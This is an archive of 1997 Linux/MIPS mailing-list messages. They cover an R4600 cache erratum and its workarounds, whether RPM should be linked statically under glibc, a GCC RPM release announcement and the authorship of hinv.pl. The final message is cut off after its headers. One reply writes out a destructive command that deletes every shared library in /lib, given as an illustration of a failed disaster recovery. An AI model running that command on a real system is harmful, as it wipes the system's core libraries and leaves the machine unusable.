(970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135135 for ; Mon, 24 Nov 1997 05:58:37 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13379 for linux-list; Mon, 24 Nov 1997 05:55:03 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA13363 for ; Mon, 24 Nov 1997 05:55:00 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA20557 for ; Mon, 24 Nov 1997 05:54:58 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-03.uni-koblenz.de [141.26.249.3]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA00883 for ; Mon, 24 Nov 1997 14:54:47 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id OAA14473; Mon, 24 Nov 1997 14:49:42 +0100 Message-ID: <19971124144942.55920@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 14:49:42 +0100 From: ralf@uni-koblenz.de To: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr Subject: R4600 fun ... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 2197 Lines: 65 Hi, I've found a problem with the cacheflush routines in the kernel. The following routine from arch/mips/mm/r4xx0.c: static void r4k_flush_cache_sigtramp(unsigned long addr) { addr &= ~(dc_lsize - 1); /* These nops handle a processor errata in the R4600 silicon */ __asm__ __volatile__("nop;nop;nop;nop"); protected_writeback_dcache_line(addr); protected_writeback_dcache_line(addr + dc_lsize); protected_flush_icache_line(addr); protected_flush_icache_line(addr + dc_lsize); } which is being compiled into the following assembler code: 0000d5a0 lui $v1,0x0 0000d5a4 lw $v1,12($v1) 0000d5a8 negu $v0,$v1 0000d5ac and $a0,$a0,$v0 ... 0000d5c0 cache Hit_Writeback_Inv_D,0($a0) 0000d5c4 addu $v1,$a0,$v1 0000d5c8 cache Hit_Writeback_Inv_D,0($v1) 0000d5cc cache Hit_Invalidate_I,0($a0) 0000d5d0 cache Hit_Invalidate_I,0($v1) 0000d5d4 jr $ra ... ... is called by setup_frame() in arch/mips/kernel/signal.c when setting up a signal frame: [...] /* * Set up the return code ... * * .set noreorder * addiu sp,0x20 * li v0,__NR_sigreturn * syscall * .set reorder */ __put_user(0x27bd0000 + scc_offset, &frame->code[0]); __put_user(0x24020000 + __NR_sigreturn, &frame->code[1]); __put_user(0x0000000c, &frame->code[2]); /* * Flush caches so that the instructions will be correctly executed. * (flush_cache_sigtramp is a function pointer) */ flush_cache_sigtramp((unsigned long) frame->code); [...] Unless I've got tomatoes of the size of a space ship on my eyes these cache flushes do the right thing in order to guarantee the coherence of Icache with the Dcache. Nevertheless when executing the code on a R4600 v2.0 I get illegal instruction exceptions for the instructions on the stack. The other MIPS processors seem not to have any problem with this code. Silicon problem? Anybody seen this before? Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 06:17:20 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA130832 for ; Mon, 24 Nov 1997 06:17:20 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA17070 for linux-list; Mon, 24 Nov 1997 06:14:05 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA17051 for ; Mon, 24 Nov 1997 06:14:02 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id GAA24597 for ; Mon, 24 Nov 1997 06:14:00 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA26414; Mon, 24 Nov 1997 14:11:36 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xZzCL-0005FsC; Mon, 24 Nov 97 14:09 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Libc in CVS To: ralf@lappi.waldorf-gmbh.de Date: Mon, 24 Nov 1997 14:09:12 +0000 (GMT) Cc: alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr In-Reply-To: <19971124141804.17724@lappi.waldorf-gmbh.de> from "ralf@lappi.waldorf-gmbh.de" at Nov 24, 97 02:18:04 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 832 Lines: 22 > For rpm the trick is easy, just don't use a static linked binary. > Unfortunately the Redhat guys seem to think static binaries are a good > idea and install a static rpm by default. Which it is not, not even > without a buggy dynamic linker. Static rpm 2.4.8 +fixes works Dynamic 2.4.8 crashes on startup every time > Ok. I stopped communicating with the Redhat guys shortly before I left the > US. Essentially they received a part of the patches that I don't classify > as ugly hacks or work in progress. No problem > Some more packages like the binutils, gcc or libc are based on different > versions and we should try to base our work on the same versions as Redhat > does. Right now Ive got chunks of bastardised 4.8 (eg with -O not -O2 to avoid gcc blowing up on zsh) but hopefully I can knock those out over time From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 08:01:49 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id IAA141033 for ; Mon, 24 Nov 1997 08:01:49 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA12610 for linux-list; Mon, 24 Nov 1997 07:59:25 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA12536 for ; Mon, 24 Nov 1997 07:59:13 -0800 Received: from lacrosse.redhat.com (lacrosse.redhat.com [207.175.42.154]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA18496 for ; Mon, 24 Nov 1997 07:59:11 -0800 env-from (ewt@redhat.com) Received: from localhost (ewt@localhost) by lacrosse.redhat.com (8.8.5/8.8.7) with SMTP id KAA08711; Mon, 24 Nov 1997 10:55:25 -0500 Date: Mon, 24 Nov 1997 10:55:25 -0500 (EST) From: Erik Troan To: linux-mips@fnet.fr cc: Alan Cox , linux@cthulhu.engr.sgi.com Subject: Re: Libc in CVS In-Reply-To: <19971124141804.17724@lappi.waldorf-gmbh.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 889 Lines: 19 On Mon, 24 Nov 1997 ralf@lappi.waldorf-gmbh.de wrote: > For rpm the trick is easy, just don't use a static linked binary. > Unfortunately the Redhat guys seem to think static binaries are a good > idea and install a static rpm by default. Which it is not, not even > without a buggy dynamic linker. A static RPM has saved my ass *many* times, and it would irresponsible for us not to ship it static. Glibc ought to be able to generate static binaries. If it can't, it's broken. Erik ------------------------------------------------------------------------------- | "For the next two hours, VH1 will be filled with foul-mouthed, | | crossdressing Australians. Viewer discretion is advised." | | | | Erik Troan = ewt@redhat.com = ewt@sunsite.unc.edu | From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 10:07:53 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA148172 for ; Mon, 24 Nov 1997 10:07:53 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA04198 for linux-list; Mon, 24 Nov 1997 10:03:21 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA04042 for ; Mon, 24 Nov 1997 10:03:04 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id KAA25937 for ; Mon, 24 Nov 1997 10:03:00 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-19.uni-koblenz.de [141.26.249.19]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id TAA18033 for ; Mon, 24 Nov 1997 19:02:58 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id SAA02601; Mon, 24 Nov 1997 18:16:32 +0100 Message-ID: <19971124181631.64922@lappi.waldorf-gmbh.de> Date: Mon, 24 Nov 1997 18:16:31 +0100 From: ralf@uni-koblenz.de To: linux-mips@fnet.fr Cc: ewt@redhat.com, Alan Cox , linux@cthulhu.engr.sgi.com Subject: Re: Libc in CVS References: <19971124141804.17724@lappi.waldorf-gmbh.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Erik Troan on Mon, Nov 24, 1997 at 10:55:25AM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1572 Lines: 38 On Mon, Nov 24, 1997 at 10:55:25AM -0500, Erik Troan wrote: > On Mon, 24 Nov 1997 ralf@lappi.waldorf-gmbh.de wrote: > > For rpm the trick is easy, just don't use a static linked binary. > > Unfortunately the Redhat guys seem to think static binaries are a good > > idea and install a static rpm by default. Which it is not, not even > > without a buggy dynamic linker. > > A static RPM has saved my ass *many* times, and it would irresponsible > for us not to ship it static. I'm not arguing against static binaries because we've got a bug in the libs. - static binaries contain syscalls and therefore make it very difficult, if not impossible to modify the kernel interfaces. The SVID btw., explicitly forbids embedding syscalls into ABI compliant binaries. While SVID compliance is not directly mandatory for Linux, binary compatibility issues with IRIX (or Solaris or ...) etc. might somewhen enforce modifications to the syscall interface resulting in broken static binaries. - many static binaries will use dlopen() to load _shared_ libraries under certain circumstances. Rpm is just one of them. For example try with your static rpm rm -f /lib/*.so* rpm --install ftp://ftp.whitehat.org/libc-2.0.5-.rpm Won't work, because you don't have your shared libc and libnss anymore ... I admit that this type of desaster recovery was nicer with Linux libc which doesn't do the dlopen() thing. > Glibc ought to be able to generate static binaries. If it can't, it's broken. Yes, and the bugs have been fixed. Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 10:49:27 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA151109 for ; Mon, 24 Nov 1997 10:49:27 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA28397 for linux-list; Mon, 24 Nov 1997 10:46:03 -0800 Received: from fir.engr.sgi.com (fir.engr.sgi.com [150.166.49.183]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA28354; Mon, 24 Nov 1997 10:45:57 -0800 Received: (from wje@localhost) by fir.engr.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id KAA16089; Mon, 24 Nov 1997 10:45:56 -0800 Date: Mon, 24 Nov 1997 10:45:56 -0800 Message-Id: <199711241845.KAA16089@fir.engr.sgi.com> From: "William J. Earl" To: ralf@uni-koblenz.de Cc: linux@cthulhu.engr.sgi.com, linux-mips@fnet.fr Subject: Re: R4600 fun ... In-Reply-To: <19971124144942.55920@lappi.waldorf-gmbh.de> References: <19971124144942.55920@lappi.waldorf-gmbh.de> Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 2557 Lines: 50 ralf@uni-koblenz.de writes: ... > 0000d5c0 cache Hit_Writeback_Inv_D,0($a0) > 0000d5c4 addu $v1,$a0,$v1 > 0000d5c8 cache Hit_Writeback_Inv_D,0($v1) > 0000d5cc cache Hit_Invalidate_I,0($a0) > 0000d5d0 cache Hit_Invalidate_I,0($v1) > 0000d5d4 jr $ra ... > Unless I've got tomatoes of the size of a space ship on my eyes these > cache flushes do the right thing in order to guarantee the coherence > of Icache with the Dcache. Nevertheless when executing the code on a > R4600 v2.0 I get illegal instruction exceptions for the instructions > on the stack. The other MIPS processors seem not to have any problem > with this code. > > Silicon problem? Anybody seen this before? This is a known R4600 Rev. 2.0 bug. From the R4600 errata list: 3. The CACHE instructions Hit_Writeback_Invalidate_D, Hit_Writeback_D, Hit_Invalidate_D, and Create_Dirty_Exclusive_D will only operate correctly if the internal data cache refill buffer is empty. These cache instructions should separated from any potential data cache miss by a load instruction to an uncached address to empty the response buffer. A brute-force workaround for this is to do the load instruction to an uncached address (such as a memory controller register) before the cache invalidation code, and to also do such a load instruction just before every eret. Alternately, one could put enough nop instructions in front of every eret to allow time for the refill buffer to empty. The latter is what I did on Indy, where 12 cycles are needed to allow the refill buffer to empty in the worst case. I arranged to replace every eret with a labelled jump to a patch area (with a nop in the jump delay slot), where the patch area was 8 nop instructions and an eret. I had a table of the jump addresses, and, at startup time on a CPU other than an R4600 Rev. 2.0, I patched the jump instructions to eret instructions, so only the R4600 Rev. 2.0 paid the penalty. Yet another alternative would be to disable interrupts around the cacheops, probe the tlb to be sure a TLB miss could not occur during the cacheop, pad 12 nop instructions after the probe, do the cacheops, and enable interrupts. (If the TLB probe fails, enable interrupts, do a load from the first address, and retry from the beginning.) From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 13:42:17 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA186699 for ; Mon, 24 Nov 1997 13:42:17 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA12076 for linux-list; Mon, 24 Nov 1997 13:41:04 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA11939 for ; Mon, 24 Nov 1997 13:40:59 -0800 Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA06143 for ; Mon, 24 Nov 1997 13:40:54 -0800 env-from (davem@dm.cobaltmicro.com) Received: (from davem@localhost) by dm.cobaltmicro.com (8.8.7/8.8.7) id NAA00677; Mon, 24 Nov 1997 13:35:29 -0800 Date: Mon, 24 Nov 1997 13:35:29 -0800 Message-Id: <199711242135.NAA00677@dm.cobaltmicro.com> From: "David S. Miller" To: ewt@redhat.com CC: linux-mips@fnet.fr, alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com In-reply-to: (message from Erik Troan on Mon, 24 Nov 1997 10:55:25 -0500 (EST)) Subject: Re: Libc in CVS References: Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 549 Lines: 15 Date: Mon, 24 Nov 1997 10:55:25 -0500 (EST) From: Erik Troan A static RPM has saved my ass *many* times, and it would irresponsible for us not to ship it static. Glibc ought to be able to generate static binaries. If it can't, it's broken. That was a nice thing back in the pre-glibc days. But since so many static binaries (including RPM) pull in the NIS stuff dynamically via dlopen() due to how GLIBC works, your ass will no longer get saved the way it used to. Later, David S. Miller davem@dm.cobaltmicro.com From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 14:03:20 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA197490 for ; Mon, 24 Nov 1997 14:03:20 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA20141 for linux-list; Mon, 24 Nov 1997 14:01:56 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA20022 for ; Mon, 24 Nov 1997 14:01:46 -0800 Received: from lacrosse.redhat.com (lacrosse.redhat.com [207.175.42.154]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA11947 for ; Mon, 24 Nov 1997 14:01:43 -0800 env-from (ewt@redhat.com) Received: from localhost (ewt@localhost) by lacrosse.redhat.com (8.8.5/8.8.7) with SMTP id QAA27888; Mon, 24 Nov 1997 16:58:22 -0500 Date: Mon, 24 Nov 1997 16:58:22 -0500 (EST) From: Erik Troan To: "David S. Miller" cc: linux-mips@fnet.fr, alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com Subject: Re: Libc in CVS In-Reply-To: <199711242135.NAA00677@dm.cobaltmicro.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 926 Lines: 20 On Mon, 24 Nov 1997, David S. Miller wrote: > That was a nice thing back in the pre-glibc days. But since so many > static binaries (including RPM) pull in the NIS stuff dynamically via > dlopen() due to how GLIBC works, your ass will no longer get saved the > way it used to. At least you can install the packages though. At the very worst, getpwnam() will fail and RPM will use root.root for all of the files, but at least they will be there. That's surely better then not being able to install packages at all. Erik ------------------------------------------------------------------------------- | "For the next two hours, VH1 will be filled with foul-mouthed, | | crossdressing Australians. Viewer discretion is advised." | | | | Erik Troan = ewt@redhat.com = ewt@sunsite.unc.edu | From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 15:30:16 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA232757 for ; Mon, 24 Nov 1997 15:30:15 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA20477 for linux-list; Mon, 24 Nov 1997 15:26:20 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA20448 for ; Mon, 24 Nov 1997 15:26:09 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA08039 for ; Mon, 24 Nov 1997 15:26:06 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id AAA02120 for ; Tue, 25 Nov 1997 00:26:02 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id AAA07414; Tue, 25 Nov 1997 00:22:31 +0100 Message-ID: <19971125002231.49580@lappi.waldorf-gmbh.de> Date: Tue, 25 Nov 1997 00:22:31 +0100 From: ralf@uni-koblenz.de To: linux-mips@fnet.fr Cc: "David S. Miller" , alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com Subject: Re: Libc in CVS References: <199711242135.NAA00677@dm.cobaltmicro.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Erik Troan on Mon, Nov 24, 1997 at 04:58:22PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 874 Lines: 19 On Mon, Nov 24, 1997 at 04:58:22PM -0500, Erik Troan wrote: > > That was a nice thing back in the pre-glibc days. But since so many > > static binaries (including RPM) pull in the NIS stuff dynamically via > > dlopen() due to how GLIBC works, your ass will no longer get saved the > > way it used to. > > At least you can install the packages though. At the very worst, > getpwnam() will fail and RPM will use root.root for all of the files, > but at least they will be there. That's surely better then not being > able to install packages at all. I just checked mount(8), it's a shared binary. I guess only the fewest Redhat installations it is possible to access the packages without using nss services or mount. Aside, if everything gets installed as root.root in absence of the nss functionality this open a theoretical security problem for some packages. Ralf From owner-linux@cthulhu.engr.sgi.com Mon Nov 24 17:16:39 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA238470 for ; Mon, 24 Nov 1997 17:16:39 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA18229 for linux-list; Mon, 24 Nov 1997 17:14:16 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA18210 for ; Mon, 24 Nov 1997 17:14:10 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA06838 for ; Mon, 24 Nov 1997 17:14:08 -0800 env-from (ralf@lappi.waldorf-gmbh.de) Received: from lappi.waldorf-gmbh.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA14273 for ; Tue, 25 Nov 1997 02:14:00 +0100 (MET) Received: (from ralf@localhost) by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id CAA08193; Tue, 25 Nov 1997 02:10:40 +0100 Message-ID: <19971125021040.03395@lappi.waldorf-gmbh.de> Date: Tue, 25 Nov 1997 02:10:40 +0100 From: ralf@uni-koblenz.de To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com Subject: Announce: GCC RPMs Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 867 Lines: 27 -----BEGIN PGP SIGNED MESSAGE----- Hi all, I've uploaded source and little endian binary rpms of GCC 2.7.2 to ftp.linux.sgi.com. binutils-2.8.1-1.src.rpm replaces the truncated file that was online. Both packages are based on the patches I announced yesterday. Ralf d71aeb4d0f36d4a40bb44714099520e3 binutils-2.8.1-1.src.rpm 087d1c5f21e4d7dbeb0acd944fc92e40 gcc-2.7.2-1.mips.rpm c15a2d77386f785c8a4914a409105d41 gcc-2.7.2-1.src.rpm d8846cdfc431ef940e9a1fdc97e0423a gcc-c++-2.7.2-1.mips.rpm d0c930def3e322040da84a1270480bb9 gcc-objc-2.7.2-1.mips.rpm -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 iQCVAwUBNHolbEckbl6vezDBAQGZZwQAq5KEp+wKjhKjO28PcqzPA5YaPJFHYHwC vMN4e0MONsQ/xfPva+KzA/qAqJKGjvEx7ppV6XdNBF5HAxbXje5Soz550yJyb0nV 95Qz8Tr0tsuIb+W0HItwQwhrxPWZjhnVCcWQZQhP3T2XnChyFD9wOouwSYYpJhjh 2Tc9g/de/Vs= =pQiE -----END PGP SIGNATURE----- From owner-linux@cthulhu.engr.sgi.com Tue Nov 25 22:07:05 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id WAA348236 for ; Tue, 25 Nov 1997 22:07:05 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id WAA13259 for linux-list; Tue, 25 Nov 1997 22:03:41 -0800 Received: from bhairavi.newdelhi.sgi.com (bhairavi.newdelhi.sgi.com [134.14.90.52]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id WAA13224 for ; Tue, 25 Nov 1997 22:03:15 -0800 Received: (from raju@localhost) by bhairavi.newdelhi.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id LAA06759; Wed, 26 Nov 1997 11:25:45 +0530 Date: Wed, 26 Nov 1997 11:25:45 +0530 Message-Id: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com> From: Raj Mathur To: linux@cthulhu.engr.sgi.com Subject: Will the owner of hinv.pl for Linux please stand up? Reply-to: raju@sgi.com Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 844 Lines: 21 Will the owner of the hinv work-alike for Linux please stand up? I posted info about this script in a local group which (unknown to me) was gatewayed to one of the c.o.l groups, and now am snowed under with requests for the script. I got the script from the erstwhile linux.engr.sgi.com box. Request the owner to (a) identify him/herself and (b) indicate if it's OK to post the script on one of the Linux groups. Please also indicate copyright terms if you're inclined that way. Thanks, -- Raju -- Raj Mathur / Web Technical Support / Silicon Graphics / New Delhi +91-11-6216324/25, 6211354/55 / raju@sgi.com / 7228 http://reality.sgi.com/raju / It is the Mind that Moves PGP: F2 D4 4A 21 27 B0 63 FF | Not necessarily speaking 15 97 9D AE 9D 40 BC B8 | for Silicon Graphics From owner-linux@cthulhu.engr.sgi.com Wed Nov 26 04:40:37 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA380595 for ; Wed, 26 Nov 1997 04:40:37 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA17027 for linux-list; Wed, 26 Nov 1997 04:32:32 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA17018 for ; Wed, 26 Nov 1997 04:32:17 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA24367 for ; Wed, 26 Nov 1997 04:32:13 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-04.uni-koblenz.de [141.26.249.4]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id NAA25949 for ; Wed, 26 Nov 1997 13:32:05 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id NAA01028; Wed, 26 Nov 1997 13:09:18 +0100 Message-ID: <19971126130917.58432@uni-koblenz.de> Date: Wed, 26 Nov 1997 13:09:17 +0100 To: raju@sgi.com Cc: linux@cthulhu.engr.sgi.com Subject: Re: Will the owner of hinv.pl for Linux please stand up? References: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: <199711260555.LAA06759@bhairavi.newdelhi.sgi.com>; from Raj Mathur on Wed, Nov 26, 1997 at 11:25:45AM +0530 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 773 Lines: 18 On Wed, Nov 26, 1997 at 11:25:45AM +0530, Raj Mathur wrote: > Will the owner of the hinv work-alike for Linux please stand up? I > posted info about this script in a local group which (unknown to me) > was gatewayed to one of the c.o.l groups, and now am snowed under with > requests for the script. > > I got the script from the erstwhile linux.engr.sgi.com box. > > Request the owner to (a) identify him/herself and (b) indicate if it's > OK to post the script on one of the Linux groups. Please also indicate > copyright terms if you're inclined that way. The script has already been posted to linux-kernel, so it's obviously ok to repost it. The author is Larry McVoy, ex lm@engr.sgi.com, now lm@who.net. I don't know if he is still reading this list. Ralf From owner-linux@cthulhu.engr.sgi.com Wed Nov 26 06:27:00 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA386314 for ; Wed, 26 Nov 1997 06:27:00 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA25227 for linux-list; Wed, 26 Nov 1997 06:17:26 -0800 Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA25204; Wed, 26 Nov 1997 06:17:16 -0800 Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id GAA22591; Wed, 26 Nov 1997 06:17:15 -0800 (PST) From: ariel@oz.engr.sgi.com (Ariel Faigon) Message-Id: 